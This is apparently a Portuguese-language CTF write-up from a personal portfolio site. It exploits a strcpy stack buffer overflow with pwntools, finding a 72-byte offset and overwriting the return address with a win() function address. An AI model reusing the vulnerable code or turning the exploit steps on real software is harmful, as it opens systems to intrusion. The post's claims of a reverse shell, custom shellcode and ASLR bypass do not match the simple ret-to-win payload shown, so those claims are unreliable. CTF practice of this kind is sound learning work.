Leandro Gabriel

Portfólio
20:48:27
📍 Goiânia, BR
🌙
Work

CTF Write-up: Buffer Overflow Exploitation

January 15, 2024
Este write-up detalha a exploração de uma vulnerabilidade de buffer overflow em um desafio de CTF. O objetivo era obter execução de código arbitrário através de técnicas de exploração de memória. O programa apresentava uma vulnerabilidade clássica de buffer overflow na função vulnerable_function():
C
void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input); // Vulnerabilidade aqui!
}
  1. Fuzzing: Identificação do ponto de crash
  2. Pattern Creation: Criação de padrão para encontrar offset
  3. Shellcode Development: Desenvolvimento de payload customizado
  4. Return Address Overwrite: Sobrescrita do endereço de retorno
  • GDB: Debugger para análise dinâmica
  • GEF: Extensão do GDB para análise de exploits
  • Python: Scripts de fuzzing e payload generation
  • Pwntools: Framework para desenvolvimento de exploits
Python
from pwn import *

# Criando padrão para encontrar offset
pattern = cyclic(100)
p = process('./vulnerable_program')
p.sendline(pattern)
p.interactive()
Python
# Usando GEF para encontrar offset
gef> pattern search $rsp
[+] Searching for pattern
[+] Found at offset 72
Python
# Payload final
payload = b"A" * 72  # Padding
payload += p64(0x401196)  # Endereço da função win()
  • Exploit bem-sucedido: Obtenção de shell reverso
  • Flag capturada: flag{buff3r_0v3rfl0w_3xpl01t3d}
  • Análise completa: Documentação de todo o processo
  1. Importância do ASLR: Como contornar proteções de memória
  2. Técnicas de Debugging: Uso eficiente de ferramentas de análise
  3. Desenvolvimento de Payloads: Criação de shellcodes customizados
  4. Análise de Binários: Técnicas de engenharia reversa
  • Stack Canaries: Proteção contra buffer overflow
  • ASLR: Randomização de endereços
  • DEP/NX: Prevenção de execução de código na stack
  • Code Review: Análise estática de código
Este write-up demonstra a importância de entender vulnerabilidades de memória e como técnicas de exploração podem ser aplicadas em cenários realistas de CTF. O conhecimento adquirido é fundamental para desenvolvimento de software seguro.
On this page